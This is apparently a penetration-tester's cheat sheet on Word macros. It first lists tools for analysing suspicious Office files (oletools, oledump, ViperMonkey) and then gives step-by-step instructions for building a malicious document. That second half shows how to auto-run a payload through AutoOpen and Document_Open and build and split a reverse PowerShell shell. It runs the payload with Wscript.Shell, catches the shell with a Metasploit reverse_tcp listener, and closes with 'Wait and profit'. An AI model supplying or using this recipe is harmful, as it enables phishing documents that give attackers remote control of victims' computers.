Generic analysis tools

• Unzip the file; if it is not a very old office file, the file is a zip file.
• exiftools:
  exiftool doc.doc
• Analyse with oleid
  oleid doc.doc
• To see VBA scripts direct­ly:
  olevba /tmp/a.doc
• Analyse a doc­u­ment with ole­tools. See the readme. It has many sub­com­mands to analyse var­i­ous things.
• With Viper­Mon­key, macros can be ana­lyzed in a VBA emulator.
• Quick­Sand is also a analy­sis framework

Extract macros with oledump

Use oledump.py to extract macros. List the file contents:

python oledump.py $file

Exam­ple from an output:

...
7: M 16267 'Macros/VBA/NewMacros'
8: m 932 'Macros/VBA/ThisDocument'
...

To show details from a doc­u­ment part use the first num­ber and execute

python oledump.py -s $no $file

But to extract Macros, ‑v has to been used, because Macros are addi­tion­al­ly compressed.

python oledump.py -s $no -v $file

Create macros

1. Cre­ate a new Word document
2. Open the macro dia­log (View -> Macros)
3. Cre­ate a new macro there. You are now in the VB view. 
   • Make sure to set the drop­down which defined where the macro is stored. Per default, it is stored in a local data­base and not in the doc­u­ment itself. 
4. When cre­at­ing the macro, put it (or a func­tion’s call) into the AutoOpen() and Document_Open() func­tions.
   Sub AutoOpen()
PayloadMacro
End

Sub Document_Open()
PayloadMacro
End Sub
   
   (… see 5.)
5. Add the pay­load, e.g. a reverse shell. 
   1. Use make_reverse_powershell.py to cre­ate the payload.
   2. Use split_reverse_powershell.py to split the large com­mand line to con­form to the VC string lim­it. (!) Note that a line may not have more than 50 characters!
   3. Add it to the macro func­tion:
Sub PayloadMacro()
Dim Str As String
Str = …
Str = Str + …
Str = Str + …
CreateObject("Wscript.Shell").Run Str
End Sub
   4. Alter­na­tive: See Pow­er­cat sec­tion on the Reverse Shell post.
6. Save the file.
7. Open meter­preter reverse shell with

   set PAYLOAD windows/x64/shell/reverse_tcp

8.  Wait and €prof­it.

Anoth­er way: See windows/fileformat/word_mshtml_rce